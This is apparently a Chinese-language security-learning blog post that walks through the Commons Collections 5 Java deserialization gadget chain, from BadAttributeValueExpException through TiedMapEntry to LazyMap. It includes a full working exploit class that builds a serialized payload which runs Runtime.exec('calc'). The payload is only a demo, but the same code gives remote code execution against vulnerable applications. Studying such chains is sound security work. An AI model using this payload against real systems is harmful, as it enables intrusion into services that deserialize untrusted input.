Java_CC5

CC5

这里从 org.apache.commons.collections.map.LazyMap#get开始找,但是get方法的调用非常多,find usage就有2k+。代码审计老哥直接哭晕在厕所。

commons.collections4LazyMap去掉了函数 decorate

直接看链子

后半还是CC1的LazyMap,前半则是 BadAttributeValueExpExceptionTiedMapEntry,整个流程只有一个注意点,就是实例化 BadAttributeValueExpException的时候。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}

实例化时的属性 val直接传入一个不为null的数据,则会直接调用 val.toString()

解决方案:先传入null,序列化前反射修改val属性。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.junit.Test;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5Test {
public static void serializable(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserializable(String path) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));
return ois.readObject();
}
@Test
public void test() throws Exception {
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});

HashMap hashMap = new HashMap();
Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"key");
// tiedMapEntry.toString();


BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);

Class c = Class.forName("javax.management.BadAttributeValueExpException");
Field field = c.getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, tiedMapEntry);

serializable(badAttributeValueExpException);
}

@Test
public void test2() throws IOException, ClassNotFoundException {
unserializable("ser.bin");
}
}

小摊

搞定,吃的全是前几个链子的老本

链子

1
2
3
4
5
javax.management.BadAttributeValueExpException#readObject
org.apache.commons.collections.keyvalue.TiedMapEntry#toString
org.apache.commons.collections.keyvalue.TiedMapEntry#getValue
org.apache.commons.collections.map.LazyMap#get
*#transform()

Java_CC5
https://rpniu.github.io/2025/04/02/Java-CC5/
作者
rPniu
发布于
2025年4月2日
许可协议